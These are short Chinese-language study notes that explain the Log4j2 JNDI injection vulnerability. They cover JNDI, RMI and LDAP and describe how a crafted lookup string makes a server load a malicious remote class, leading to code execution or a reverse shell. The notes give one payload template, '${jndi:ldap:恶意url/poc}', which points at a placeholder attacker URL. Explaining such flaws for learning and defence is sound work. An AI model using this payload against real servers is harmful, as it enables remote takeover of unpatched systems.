- log4j2
log4j2是apache下的java应用常见的开源日志库,java日志记录工具。 - JNDI
java命名和目录接口。允许从指定的远程服务器获取并加载对象。
JNDI相当于一个映射字典,使java应用程序可以和这些命名服务器和目录服务器之间进行交互。
JNDI注入攻击时常通过RMI和LDAP两种服务,
1、RMI:远程方法调用
允许
2、LDAP:轻量级目录访问协议
LDAP开放、跨平台的协议,用于访问和管理基于目录的信息,例如用户、设备和其他资源。 - log4j2漏洞原理
log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。在lookup的{}中构造payload,调用JNDI服务向攻击者提前部署号的恶意站点获取恶意的.class对象,造成远程代码执行。(可反弹shell到指定服务器)
攻击者构造payload,在JNDI接口lookup查询进行注入,payload为${jndi:ldap:恶意url/poc},JNDI会去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…本例为ldap)查找资源,由于lookup的出栈没做限制,最终指向了攻击者部署好的恶意站点,下载了远程的恶意class,最终造成了远程代码执行rce。